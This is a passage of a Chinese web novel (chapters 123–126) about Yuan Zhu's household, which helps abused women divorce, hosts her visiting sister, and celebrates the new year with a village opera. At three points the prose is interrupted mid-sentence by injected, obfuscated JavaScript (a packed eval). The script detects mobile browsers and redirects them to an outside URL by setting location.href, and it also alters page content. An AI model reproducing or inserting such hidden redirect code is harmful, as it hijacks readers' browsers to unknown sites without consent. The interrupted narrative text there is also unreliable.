“是吗?”辛开元也感到困惑,“我还以为喜欢都是一样的呢,喜欢就会想见她,想跟她说话,想了解她,想要让她开心,你的喜欢不是这样吗?” 袁竹想了想,“也许是这样吧,我平时没有想过这些。” 见袁竹没再说什么,辛开元转移了话题,说起最近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655423|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着学生们训练的事,袁竹只偶尔附和几句,有时见辛开元说得太兴奋,她也会跟着笑一笑。 回到袁家,姜佑安的弃夫书已经写好了,那女人想要马上去和丈夫和离,袁竹劝住了她,让她先休息一下,吃过了午饭,袁竹会陪她一起回去。 姜佑安说她也得去,徐洪愿凑过来,说她也要去,辛开元也说要跟着一起去,袁竹想着人多起码不输气势,就让大家都一起去。 到了那女人的丈夫家,袁竹跟他说了和离的事,起初他还不肯,袁竹就和他吵了起来,还让附近的邻居都过来看,看女人乌青的眼和受伤的嘴角。 徐洪愿拉着那男人就要往官府去,一边拉扯,一边说起自己丈夫被打板子赔钱的事,那男人一下子就怂了,答应和离,也答应赔钱,只要不去县衙打板子就行。 徐洪愿收下了银子,向周围人大声宣扬打老婆要赔钱,还要打板子的事,围观的人听了,脸色各异。 袁竹询问了女人一番,知道女人没有去处,就让徐洪愿把银子给了她,让她先住在袁家,再做打算。 一行人离开后,还有人站在原地,久久地注视着她们离开的方向。 袁竹再出去卖花的时候,辛开元怕人有来找她麻烦,定要跟着,袁竹觉得他跟着也行,就让徐洪愿在家待着,两个人去卖花就够了。 徐洪愿不肯,她说还有很多人等着她帮忙,她不能在家里待着,她得出去,她要去跟每个女人说,过得辛苦可以和离,要是被打了,就更该离开那个男人,离开那个家,女人们应该像她们一样,自在地活着。 袁竹很认同徐洪愿的想法,就没再拦着她。 袁竹在卖花的时候,总有人拉着徐洪愿,把自己家的情况讲给她听,询问她的意见,徐洪愿听到有人受欺负,总是格外气愤,劝女人们不要忍,一味地忍受,换不来夫家的尊重,要勇于反抗,大不了就和离。 女人们总是有很多顾虑,别人的看法、回不去的娘家、年幼的孩子、日益增长的年龄、几近于零的钱财,都在阻拦着她们的脚步。 不过,仍然有人不顾一切地握住了徐洪愿的手,徐洪愿便回应她的期待,把她拉出泥潭,站在岸上时,她仍然心有戚戚,不过,她身上的泥总有干的那天。 徐洪愿、袁竹和辛开元三个人在县里卖梅花,那些女人们和离的故事渐渐传遍了街头巷尾,迎着冬日的暖阳,越来越多的女人走进了袁家,找姜佑安帮忙写一份弃夫书。 泰安县掀起了一股弃夫的风潮,那些女人或是孤身回娘家,或是带着孩子回去,或是留在袁家做绢花,反正是不再回到夫家去。 时不时便有男人来到袁家来,讨要自己的老婆,都让袁竹和姜佑安赶了回去,辛开元带着学生们在大门口操练,手里拿着杨恩做的木剑,口里喊打喊杀,颇有气势,吓得那些男人再不敢来造次,也不再有人去学堂搞破坏。 袁家帮女人和离的事,传遍了周围的村镇,男人们知道了女人可以弃夫,大都收敛起来,打老婆再不是司空见惯的事,反而打人要赔钱,成为了大家的共同认知。 袁家的存在,成为了女人们心中的一块定心石,她们知道,袁家的大门会一直向她们打开,只要她们走进去求助,便有人会握住她们的手。 这天下午,又有一个女人走进了袁家的大门,“姑娘,袁竹是住在这里吗?” 徐洪愿手里拿着扫帚,看着她跟袁竹相似的长相,愣了一下才问道:“袁竹是住这里,你是哪位?” 123. 姐姐 袁萱草拘谨地笑了笑,“我是袁竹的姐姐,我叫袁萱草,袁竹在吗?” “原来是袁竹的姐姐!”徐洪愿把扫帚立在墙边,笑着迎了过去,“袁竹在院里呢,我带你过去。” “哦,好。”袁萱草跟着徐洪愿向前走,左右打量着这所宅子,“这房子是袁竹的吗?” “不是,是袁竹租的,我们这里人多,地方小了住不下,她才租了这个宅子。”徐洪愿说道。 跨进二门内,袁竹坐在院子里,正在缝一个护耳,徐洪愿高兴地向她喊道:“袁娘子,你看谁来了?” 袁竹抬头,看到徐洪愿身旁的袁萱草,惊喜地站起身来,“姐!你怎么来了?” “小叔告诉我你在这里,这不冬天闲着没事嘛,我就想着过来看看你。”袁萱草笑着说道。 袁竹把护耳放在椅子上,快步走过去,亲热地拉着她的手,“小叔真的去找你了?我还以为他就是随口说说呢,他现在在哪儿?怎么没跟你一起来?” “他说他在一个地方待不住,在我那没住两天就走了,我也不知道他现在在哪儿。”袁萱草说道。 “他就是爱在外面飘着,在我这里也没住多久就走了。”袁竹说道。 袁萱草看着袁竹的脸,觉得她比以前精神了不少,“小叔说你没再嫁人,一个人过日子,我还有些担心,现在看,你过得也不错嘛。” “我倒是想一个人过日子,还清净,你听听这家里,多热闹,这人还没齐呢,大点儿的孩子都在学堂读书,等她们回来了,能一直吵到天黑。”袁竹笑着说道。 “别在外面站着了,袁姐姐,你跟姐姐回屋里说话吧。”徐洪愿提醒道。 “对,姐,咱们去屋里坐。”袁竹跟院里做活的其他人打了个招呼,就拉着袁萱草的手,去了她的房间。 袁萱草把肩上的包袱放在桌上,四下看着,“你现在日子过得不错啊,都住上这么好的房子了。” “这都房主好心,知道我这里收养了不少孩子,便宜租给我的。”袁竹说道。 “你还收养了小孩子?”袁萱草惊讶地问道。 “要不然你以为我这里哪来那么多孩子?”袁竹笑着答道。 袁萱草皱起了眉头,“你还这么年轻,想要孩子,自己生就是了,为什么要收养别人的孩子?” “不是我想要收养,这些孩子被人扔到我家门口,我也不能看着孩子饿死啊,就这么越收养越多了。”袁竹说道。 徐洪愿敲门,送进来一壶茶和一盘点心,说着让袁萱草尝一尝,就退了出去。 “你是从哪过来的?”袁竹给袁萱草倒了茶,放在她面前,“一路上风挺凉吧,来喝点儿热茶,暖暖身子。” 袁萱草双手捧着茶杯,热气从茶杯里渗出来,温暖了她麻木的双手,她喝了一口热茶,又忍不住担心地问道:“你一个寡妇,怎么好养那么多孩子,这你以后还怎么嫁人?” “我没想嫁人的事。”袁竹说道。 袁萱皱起了眉头,“不想怎么能行?你还能一个人过一辈子?” “姐,咱们不说这个了。”好不容易看到姐姐,袁竹不想跟她吵架,赶紧转移了话题,“你是从婆家来的吗?搭车过来的,还是走来的?” “走来的,今天我天还没亮就出门了,我说我要去看我妹,我婆婆抱怨了几句,倒也没拦着。”袁萱草说道。 “听说你生了个男孩,你婆婆没再为难你了吧。”袁竹问道。 “没有。”袁萱草笑了笑,“我能干活,又生了儿子,婆家现在对我可没得挑了。” “那就好。”袁竹也笑了笑,把那盘子点心推到袁萱草面前,“我这有个小姑娘叫阮荷,这是她做的点心,挺好吃的,你尝尝。” 袁萱草伸出手来,拿起一块点心尝了一口,笑着点了点头,“好吃。” 袁竹看到袁萱草的手指粗糙干裂,脸也被风吹得红红的,心里一阵酸楚,“你中午吃饭了吗?” “吃了,我早上带着干粮出门的,中午饿的时候就吃了。”袁萱草说道。 袁竹给自己也倒了杯茶,端起茶杯喝了一口,热乎乎的茶,让身体极为熨帖,“姐,你在我这里住几天吧,你就跟我一起住这个房间,咱们还像小时候那样,睡在一张床上。” “看见你,我也就安心了。”袁萱草吃完了一块点心,放下了茶杯,“我儿子粘我得很,我不在他睡不好觉,我还得赶紧回去。” “你天不亮就出门了,现在才到我这里,你现在回去,到家不得半夜了?”袁竹着急地说道。 “没事,这两天都是大月亮,走夜路也看得清。”袁萱草站起身来,把自己带来的包袱打开,“这是昨天刚挖的地栗子,你小时候就爱吃这个,我特意给你带的。” 袁竹的眼眶红了,她抓住了袁萱草的胳膊,“姐,我们好几年没见了,你就住两天再走吧,你儿子也五六岁了,你丈夫一家人都在,你晚点儿回去也没什么的。” 看到袁竹乞求的眼神,袁萱草有些心软了,自从自己嫁了人,就只有在过年回娘家的时候才能见她,等到她嫁了人之后,一两年也见不到一次,现在好不容易两姐妹见了面,她也确实不想就这么离开。 袁竹又接着劝道:“你地上走得慢,等你走得时候,我给你租一辆马车,给你送回去,你就别急着走了。” “我留下就是了,别租什么马车,浪费钱,我走着就回去了。”袁萱草说道。 袁竹非常高兴,收拾起包袱,“我去让她们把地栗子收拾了,晚上咱们包饺子吃。” 袁萱草跟着袁竹出了屋,“这东西收拾起来麻烦,我也帮把手吧。” “好,咱们一起收拾。”袁竹说着把袁萱草带去了厨房,把荸荠洗干净,拿到院子里,坐在阳光下慢慢削,一边削,一边说着闲话。 在院子里做活的女人们见了,也去找刀来,一起给荸荠削皮,商量着包饺子要吃什么馅儿的,袁竹说要多放点儿肉,徐洪愿便向袁竹讨了钱,去县里割肉去,石倩去了菜园,拔点小葱,割些韭菜来作配。 袁竹让钟二娘去学堂找姜佑安,告诉她晚上吃饺子,让她把杨恩、李长风、邵苏木、霍静,还有戴庭芳和辛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672837|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开元都叫过来一起吃。 孩子们散学时,呼啦啦一大群人涌进了院子里,真把袁萱草给吓了一跳,没想到这个院子里住了这么多人。 饺子馅儿已经调好,饺子皮也已经切好,听说晚上吃饺子,大家都很高兴,会包饺子的,直接去洗了手跟着一起包,没包过,都围在钟二娘和阮荷身边,跟她们学怎么包饺子。 厨房里热闹极了,杨恩和李长风分别去烧火,戴庭芳和辛开元去剥蒜,阮荷拍蒜做了醋蒜汁,包好了饺子,前院后院的锅一起煮,很快大家就吃上了热乎乎、香喷喷的饺子,捞起了一锅,又煮了一锅,等吃完了晚饭刷完锅,天已经黑了。 姜佑安要戴庭芳留下来住,戴庭芳叫她不要胡说,转头就走。 身披月光,手打灯笼,杨恩和李长风护送邵苏木和霍静回了屋,辛开元和戴庭芳也各自回了自己的住处。 众人都洗洗睡了,唯有袁竹和袁萱草躺在床上,聊到半夜还不肯睡去。 第二天一早,辛开元便来给水仙花换水了,袁竹想要休息一天,多和姐姐待在一起,趁袁萱草还在睡,她悄悄起床穿了衣服,顶着蓬乱的头发去了院子里。 袁竹跟辛开元说,让他今天和徐洪愿一起去卖花去,辛开元点了点头,让她在家好好休息,不用操心卖花的事。 袁竹转身回去,想要再睡一会儿,一进屋就看见袁萱草已经起了床,正坐在镜子前梳头。 “姐,你怎么起这么早,昨天睡得晚,你再多睡会儿吧。”袁竹说道。 “不睡了,你知道的,我没有睡懒觉的习惯。”袁萱草梳好了头,扎好了发髻,起身站了起来,“一晚上没回去,我家那口子该着急了,还有我儿子,看不见我,也不知道有没有睡好觉。” “你干吗这么着急回去?在我这里歇歇,偷个懒,不好吗?”袁竹问道。 “你不知道,这个家离不开我,我婆婆身子弱,干不动活,我家那口子就爱吃我做的饭,我儿子现在闹腾得很,还只听我的,我不在家,怕是闹得连衣裳都不肯穿,我不回去看看,实在是不放心。”袁萱草微笑着说道。 袁竹有很多话涌到了嘴边,还是咽了回去,“行,你要走我不拦你,我送你到县里去,给你租个马车,送你回去。” “哎,不用你送,你就给我包两个馒头,我拿着路上吃就行了。”袁萱草爽快地说道。 “不行,大冬天的,你过来一趟不容易,我哪能让你走回去。”袁竹上前去拉着袁萱草的手,轻轻抚摸她手上干裂的伤口,“你不用心疼钱,我现在能挣钱了,花点小钱,能让你路上舒服点儿,也值了。” “袁竹,你养着这么一大家子人,每天光粮食都得吃不少吧,就别花这个钱了,冬天走路干活,我都习惯了,没事的。”袁萱草笑着说道。 “别的我可以听你的,这个我不能听,我小时候都是你带着我,你为了我受的累,挨的打,我都记得,现在我长大了,就让我照顾照顾你吧。”袁竹说道。 袁萱草有些不好意思地抽回自己的手,垂下眼帘不去看她,“好,那就听你的。” 124. 往事 徐洪愿去剪了梅花枝,吃过早饭,徐洪愿挑着卖花担子,辛开元挑着两箱做好的绢花,袁竹把刚做好的护耳给袁萱草带上,收拾了一些干果、点心和糖,系好了包袱,在里面放了几块碎银子,又拿上了两匹布,带着袁萱草一同上路了。 到了县里,徐洪愿自己卖花去了,辛开元去绸缎庄找许家莺,袁竹给袁萱草雇了马车,把拿来的东西都放进马车里,又去买了一只烧鸡,割了几斤肉,还买了给她擦手的药膏,统统放进了马车里。 袁竹给车夫付了钱,袁萱草交代了自己要去的村子,袁竹让她有空常过来看看,她点头答应,两人就挥手告别了。 待马车走远,袁竹的眼泪才终于掉了下来,姐姐不再只是她的姐姐,她现在是妻子,是儿媳,是母亲,她的心都被其他人占据,分给妹妹一天都舍不得,自从她嫁了人,姐妹俩就再也回不到从前了。 袁竹蹲在路边痛哭了一场,起身时,看到辛开元正朝她走来,她忙擦了擦眼泪。 “袁娘子。”辛开元走过来,把担子放下,从怀里掏出钱袋来,递给袁竹,“这是今天买绢花的钱,你姐姐送走了吗?” 袁竹略微低着头,伸手接过钱袋,“送走了,你先回去吧,我去找徐娘子。” 辛开元听到她嗓子哑哑的,细看眼睛也有些红,担心地问道:“你哭了吗?” 袁竹清了清嗓子,故作豁达地说道:“姐妹分别,难免要哭一场,没什么的。” “是吗?”辛开元还是有些担心,“我没有兄弟姐妹,不太懂,跟姐姐分开,你很难过吧。” “你没有兄弟姐妹?你家里只有你一个孩子?”袁竹有些吃惊。 “也不是没有,其实我又一个哥哥,只不过在我记事之前就过世了,对我来说,就跟没有一样。”辛开元说道。 “你家里只有一个孩子,你爹娘还同意让你入赘到别人家?”袁竹问道。 “嗯。”辛开元点了点头,“我爹娘说了,不管在哪儿,我都是他们的孩子。” 袁竹想了想,问道:“他们就没想要给你娶个老婆,让你在家待着?” “以前想过,但我没同意。”辛开元说道。 “你为什么不同意?”袁竹问道。 “盲婚哑嫁,我不喜欢,我不想跟陌生人一起生活。”辛开元说道。 “你第一次见我,就说要娶我,那时,我不也是陌生人吗?”袁竹又问道。 “第一次见你,我就知道了你的为人,不算是陌生人了,不过,对于袁娘子来说,我确实是陌生人,那时候我过于唐突了,我向你道歉。”辛开元说着,向袁竹拜了一拜。 “别说这些了。”袁竹左右看了看,路上行人稀少,没有人往这边看,她径直向前走去,“你先回去,我去找徐娘子。” “我跟你一起去。”辛开元挑着担子追了过来。 见袁竹一直沉默着,辛开元自顾自地说了起来,“其实我一直挺羡慕别人有兄弟姐妹,不知道我哥哥活下来会是什么样子。” “我家里倒是有个哥哥,可惜,还不如没有。”袁竹说道。 “为什么?你哥哥会欺负你吗?”辛开元问道。 “会,小时候他常抢我的东西,不管是吃的还是用的,只要他想要,就动手抢,我跟他吵,他就会动手打我,还好有姐姐护着我。”袁竹说道。 “原来是这样。”辛开元心疼地看向袁竹,“怪不得你姐姐走了,你会这么伤心。” 现在想起往事,袁竹也释怀了,“不过,那都是小时候的事了,长大后,我哥也没那么欺负人了,后来,我姐嫁出去了,我也嫁出去了,他也成家了,变得懂事了不少。” “你嫁人之后,你丈夫对你好吗?”辛开元问道。 “他是个病秧子,常年躺在床上,半死不活的,没什么好不好的。”袁竹说道。 “他是,病死的吗?”看着袁竹的脸色,辛开元小心地问道。 “是,病死的。”袁竹说着冷笑了一声,“他娘还骂我来着,冲喜没把他儿子冲好,反而被我把他克死了。” 辛开元很生气,“她怎么能这么说你!” “她想怎么说就怎么说吧,反正人是死了,要是我克死的,就更顺了我的心意。”袁竹说道。 “你想让他死?”辛开元问道。 “我想不想有什么重要的?他死了,我也离开了那个家,他们再说什么,都跟我没关系了。”姐姐的离开,让她太难过,没防备辛开元,说了太多以前的事,袁竹有些后悔,她岔开了话题,“听说你以前在军队待过,你打过仗?” “没有,只是在边境巡视而已,我原先的上级很热衷于军事操练,可惜,他直到死,都没有打过一场像样的仗。”辛开元说道。 “你是家里的独苗,上战场那么危险,你爹娘怎么会同意让你去打仗?”袁竹问道。 “我爹娘不同意。”辛开元冲袁竹笑了笑,“所以我偷偷溜走了。” 袁竹也笑了,“你还真是任性,还好你没出什么事,万一受了什么伤,你爹娘可就伤心了。” “参军还是尽孝,我当时也觉得这是个两难的抉择,但是,我还是想去试一试。”辛开元说道。 “你想试什么?”袁竹问道。 “想试试我在军中能不能有一番作为。”辛开元说道。 “那结果呢?”袁竹问道。 “结果。”辛开元无奈地笑了笑,“结果我发现这只是我的一厢情愿,除了我那位早逝的军官,其他人在军中,也只是混日子而已,跟在外面没什么两样,没有人想要打仗,我一个人什么都做不成,后来,我就放弃了原先的想法,回家了。” 袁竹有些不能理解,“打仗就要死人,不打仗不是挺好的吗?” “那是我以前的想法了,现在我也觉得不打仗挺好,大家种地、经商、读书、种花,努力地活着,想要过上好日子,战争这种东西,真不该存在。”辛开元说道。 “对啊,今年冬天我们家收留的女人和孩子,好多都是逃命路上被卖掉、被丢掉,才到了这里,要是打起仗来,谁还有心思戴花插花?别说她们了,连我们这些人也都活不下去了。”袁竹感叹道。 “被抛弃的?也没听说有什么地方弄饥荒,她们为什么要逃命?”辛开元问道。 “她们原本是我们这边的人,地方被历国占了,可能在那边过得不好吧,从历国逃了回来,一路上真是吃了不少苦,尤其是箫悦笙,姜佑安把她背回来的时候,病得都快死了,好在她撑了过来。”袁竹说道。 辛开元心里暗暗感到吃惊,“她们是从历国来的?” “嗯。”袁竹点了点头,“大家本来都是一样的 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在训练场上,无论是兵器训练、负重训练还是搏斗训练,箫悦笙都练得非常认真投入,辛开元之前跟她聊过,她说自己一直想习武,只可惜父母不许,现在她很高兴能有人能教这些,也很珍惜这样的机会。 辛开元原本以为,她只是对这些军中的训练很感兴趣,没想到,她是从历国逃回来的,还生了一场病,差点儿死去,说不定,她还有一些别的想法。 辛开元也产生了一些别的想法,在学生们拿着木剑练了一阵之后,他把学生聚集起来,说从今天起,要学习阵法队形,以后还要学一些简单的战术,分成两队做战事演练。 辛开元听得眼睛发亮,其他学生们也觉得新奇,听从辛开元的指挥,从方阵、圆阵到数阵、雁形阵,一一排练起来。 冬天活动活动,身子热乎,比磨墨握笔松快得多,学生们都很喜欢跟着辛开元一起学,石倩她们听说了,也常过来一起训练。 姜佑安觉得戴庭芳身子弱,拉着他一起训练,郭英整日在家织布,觉得无聊,也加入了进来,训练场上热闹极了。 村民听到这边喊叫的声音,常有过来围观的,三三两两地坐在一旁,有说有笑地看热闹。 姜佑安想把他们赶走,但平日里送书院送菜送鸡蛋的也是他们,实在张不开口,而且,冬日里,这些村民实在是无聊,除了喝酒赌钱,没什么事可干。 不能赶人走,姜佑安只好在一旁守着,以防有喝醉酒的村民过来闹事,不过,学生们手里都有武器,还有高大的辛开元和箫悦笙盯着,没有人敢走进训练场。 转眼到了十二月,书院放了假,箫悦笙不再去学堂的训练场,依旧每天在园子里打拳、拉弓、练剑,辛开元则忙着帮袁竹一起出去卖水仙花。 水仙花搬进了板车里,姜佑安、李长风和杨恩去县里卖,袁竹、徐洪愿和辛开元去附近的镇上卖,只等吃过早饭,大家就各自出发。 戴庭芳听到姜佑安过来叫李长风和杨恩去卖花,他也走出门来,要跟着一起去,姜佑安说街上冷,让他在家待着,他不肯,定要一起去卖花,姜佑安也由有着他了。 袁竹和徐洪愿走出院门,就看见辛开元已经在等着了,于是便不等姜佑安,先出发了。 辛开元推着车,走在前面,袁竹快步走到他身边,拿出一个护耳来,“今天风大,把这个带上吧。” 125. 大戏 辛开元把车停住,接过护耳,惊喜地问道:“这是袁娘子做给我的?” “就这么个小玩意儿,不自己做,难道还要去买?”袁竹说着,自顾自向前走去。 徐洪愿走过来笑着说道:“我们出门都有护耳戴,现在你也有了,还是袁娘子想得周到。” “是啊,我一定会好好珍惜的。”辛开元附和道,他戴上了护耳,推着车,跟上了袁竹的步伐。 卖完花回来,袁竹买了些棉布,留作给孩子们做衣裳,姜佑安买了些糖和干果,给阮荷做点心用,又割了肉、买了鸡蛋,再添上些粮食,和郭英、戴庭芳一起送去了徐燕家。 自打赵雄死后,邻居们常来常往,都对徐燕都很照顾,再加上姜佑安和郭英常送东西来,徐燕吃得好了,身子骨也比以前健壮了不少,连拐杖都不用了。 见她们又送东西来,徐燕忙请她们进屋,请她们进屋坐坐,喝杯茶。 姜佑安她们把东西放到屋里,略坐了坐,问候了徐燕的身体状况,说了几句闲话,也不喝茶,就要走。 徐燕挽留不住,跟了出去,“等会儿,你们先别走,我去菜园里给你们拔几棵白菜吃。” 郭英担心地跟在她身后,“不用了,我们家都有菜园,都有菜吃。” “你们的是你们的,这是我给的。”徐燕出了院子,打开菜园的篱笆门,进了菜园,她弯下腰,一棵接一棵地拔着白菜。 “够了够了,不用这么多。”郭英赶忙说道。 “对啊,你还得留着自己吃呢。”姜佑安也在一旁劝道。 “袁家那边孩子多,这才拔了五棵,哪够孩子们吃?你们放心,我今年特意多种了点儿,就是专门给你们留我,我自己能吃多少,地窖里存的那些就够了。”徐燕说着,又拔了十来棵才停手。 好在姜佑安她们来的时候是推着车来的,要不这么多白菜,可真不好拿。 跟徐燕道了谢,告了别,郭英说自家的白菜都吃不完,姜佑安就推着一板车的白菜回了袁家,大家伙一起帮忙,把白菜放进了厨房的地窖里,姜佑安还让戴庭芳拿了两棵回去给杨恩。 霜打过的白菜,吃起来格外鲜甜,煮着吃、炒着吃、烫着吃,阮荷她们换着花样做,既填饱了肚子,又吃得很有滋味。 年关将近,村长过来敲门,说是为了庆祝今年丰收,村里要请戏班子来演几天戏,问袁家人要不要去。 姜佑安很久没听过戏了,她很想去,孩子们都是爱凑热闹的,自然也想去听戏,袁竹见大家都想去,也就答应了。 袁竹点了点数,这个宅院里的加上学堂那边住的,总共有四十二个人,问村长要收多少粮食,村长说村里有很多人都说要帮袁家多交一份,她只要再交四户人家的份就够了。 姜佑安把粮食搬出院子,村长搬上了车,拉着走了,孩子们飞奔回了院子,互相传递着消息,都兴奋地期待着去看唱大戏。 水仙花卖着,庙会开了,孩子们都争着要跟姜佑安一起去卖花,好顺便去逛逛庙会,姜佑安觉得卖花的时候,没有精力看顾这些孩子,就让钟二娘、徐洪愿、张慈、郭英还有石倩、箫悦笙她们分别带着孩子们去逛庙会。 孩子们手里都攒了点儿小钱,到了庙会上,孩子们这也想吃、那也想要,只恨自己平时绢花做得少了,没多攒下些钱来,有的买了冰糖葫芦,有的买了珠花,有的买了泥人,有的买了书,还有的一个铜板都舍不得花,只跟着大家走马观花,默默吞咽着口水。 孩子们高兴地逛着庙会,大人们却都格外小心,生怕丢了哪个、落下哪个,牵着这个,又盯着那个,操心个不停,只有在孩子们专心看杂耍的时候,才能歇一歇。 回来的时候,孩子们都神采奕奕,大人们都觉得格外劳累,抱怨说宁愿在家干活,都不想带孩子出去。 可架不住孩子们殷切期盼的眼神,第二天一早,她们就又带着孩子们出门了。 袁家带孩子的带孩子,卖花的卖花,剩下爱清净的人,在家里打扫洗涮,晒被子,做过年的各种吃食,也忙得不亦乐乎。 宅子打扫干净了,春联贴上了,祭过了灶王爷,鸡鸭鱼都备好了,水仙花也都卖完了,袁家张灯结彩,在爆竹声声中,迎来了新的一年。 大年初一,村头的锣鼓敲响了,大家穿上新衣,换上新鞋,你牵着我,我拉着你,相约来到了戏台边,有板凳的坐板凳,没板凳的就随便站在路边,等着好戏开场。 难得村里唱大戏,村民和孩子们都没有互相走动拜年,而是守着戏台子互道新年好,袁家人也都来了,热热闹闹地站了一大群。 有人端着簸箩卖瓜子糖果,孩子们手里有压岁钱,都去买点儿尝尝,听着不懂的唱词,看着精彩的打戏眼看,嘴里也不闲着,一边吃零嘴,一边相互打趣,还有那顽皮的孩子,看着看着,就跑到一旁打闹去了。 大人们也三三两两地站在一起,一边看戏,一边说着闲话。 在冷峻的冬日里,在青青的麦田旁,戏台上锣鼓喧天,戏台下热闹非凡,吸引了附近村子里的村民也过来观看。 姜佑安想起了徐燕,回家推了板车出来,去把徐燕也推了来,一起看大戏。 起初徐燕还有些不好意思,不想麻烦姜佑安,可姜佑安说好几年才有一场大戏看,可不能错过,徐燕想到自己也不知道还能有几年的活头,要是不去看,可能以后再也看不到了,于是点头答应。 看到中午散场,徐燕还有些意犹未尽,姜佑安让她去袁家吃个午饭,下午再接着看,徐燕高兴地同意了。 不过徐燕不肯再坐板车了,她要和孩子们一起走着回去,孩子们扶着她,跟她说着她,她笑得脸上的皱纹都舒展了不少。 袁竹走在最前面,拿着钥匙要去开门,却见大门口站着一个人,走进了一看,原来是黎泱泱。 袁竹的心情很好,走到门边去开锁,笑着问道:“过年好啊,黎公子,你今天怎么有空到这里来?” “过年好。”黎泱泱笑着答道:“我是来看姜佑安的,她在吗?” “在,在后面呢。”袁竹推开了院门,“她走得慢,你进屋来等吧。” “不用了,我在这等就行。”黎泱泱说道。 袁竹没再跟他客气,领着孩子们进了院门,后面陆续回来的大人和孩子都奇怪地看着黎泱泱,互相小声议论着他的身份。 杨恩、李长风和辛开元都往学堂那边去了,姜佑安在人群后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711480|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,陪徐燕慢慢走着说说话,戴庭芳默默跟在她们身后。 走到岔路口的时候,戴庭芳向姜佑安道了别,转身往学堂走去。 “姜院长!”黎泱泱喊了一身,向姜佑安跑了过去。 “黎公子?你怎么来了?”姜佑安惊喜地问道。 “我过年休假,正好在家里没事干,就想着过来看看你。”黎泱泱微笑着说道。 见姜白凤扶着徐燕跨进了门槛,姜佑安笑着向黎泱泱说道:“没想到你还会专门来看我,走,进屋说去。” “里面人太多了,我还是在外面说吧。”黎泱泱说道。 “你还怕人听见?走吧,去我屋里说去。”姜佑安说着,拽着他的袖子,把他领进了院门内。 院门外安静下来,只剩戴庭芳一人还在不远处的小路上站着,他走到院门边,向内探看,可视范围内,没有一个人影。 黎泱泱怎么来了?为什么要专门来看姜佑安?上次他来,说要姜佑安跟他一起搬去定州,姜佑安拒绝了,难道这次他又有了别的什么想法? 上上次来,他向姜佑安求亲,姜佑安拒绝了,上次来,他就没提成亲的事,只说两个人一起到定州住,这次来,他会不会进一步退让,不让姜佑安到他那里住,反倒是要来姜佑安这里住? 这不好说,反正男人遇到姜佑安,就只能一步步退让,让出自己的底线,谁知道黎泱泱会退到什么地步! 黎泱泱知道姜佑安对男人的想法吗?他能够接受和别的男人共侍一妻吗?如果他接受了,还是先于自己接受的,那么正房的位置,不就被他抢走了吗? 本以为自己能当正房的,犹犹豫豫的,错过了时机,现在只能当个侧室了!这可怎么是好! 上次回去,戴庭芳跟父亲说他要娶姜佑安,父亲就不同意,如今要是沦为侧室,别说父亲了,母亲也不可能同意的。 戴庭芳进了院门,刚走到照壁前就有学生发现了他,把他请到了堂屋里,让他等着一起吃午饭。 同在堂屋里坐着的,还有邵苏木和徐燕,两人聊着天,时不时会问戴庭芳一两句,戴庭芳有些心不在焉的,有一句没一句地应着,邵苏木和徐燕也不甚在意,两个人继续聊了起来。 戴庭芳回头看了看,后面是姜佑安原先的房间,现在让给箫悦笙和其他人住了,要是姜佑安和黎泱泱在这个房间里说话,他还能偷听到一星半点,可惜,姜佑安挪到耳房去了。 姜佑安为什么要带黎泱泱到她房间里去?黎泱泱来找她,是想要说什么?为什么不能让别人听见?是有什么事不能被别人知道?还是想背着人做些什么事? 徐洪愿来到了堂屋里,跟徐燕聊了起来,互相通了姓名才知道,原本她们是同一个村的,两人高兴地聊起了村里的事。 戴庭芳坐不下去了,他起身走了出去,来到了耳房门口,耳房只有一扇窗,此时门窗紧闭,他完全听不到里面在说些什么。 院子里有孩子在看着他怪异的举动,他应该赶紧离开才是,但他不想走,他想要知道两个人在聊些什么,在做些什么。 戴庭芳凑到了门边,门突然打开了,姜佑安惊讶地看着他,“戴老师!你怎么来了?已经吃过午饭了吗?” 126. 吃醋 “没有,学生让我在这里吃。”戴庭芳看到黎泱泱站在姜佑安的身后,有些紧张地问道:“黎公子来了?” “戴公子,别来无恙。”黎泱泱微笑着向戴庭芳作揖问候。 戴庭芳这才想到要行礼,忙拱了拱手,“别来无恙。” “黎公子,吃过午饭再走吧。”姜佑安说道。 “不了。”黎泱泱笑了笑,“我上午来的时候,见这里大门紧闭,还以为你们搬家了呢,真是吓我一跳,知道你还住在这里就好,以后我会再来看你的。” “黎公子这就要走?”戴庭芳问道。 “下午家里还有事,不能多耽搁,下次有机会,再来跟戴公子叙旧。”黎泱泱客气地说道。 姜佑安把黎泱泱送出了院门,“黎公子多保重。” “姜姑娘保重。”黎泱泱说完看向戴庭芳,“戴公子也是。” 见黎泱泱走远了,姜佑安转身向大门走去,“杨恩中午是不是也要包饺子?我就说让他过来一起吃,他还不肯。” 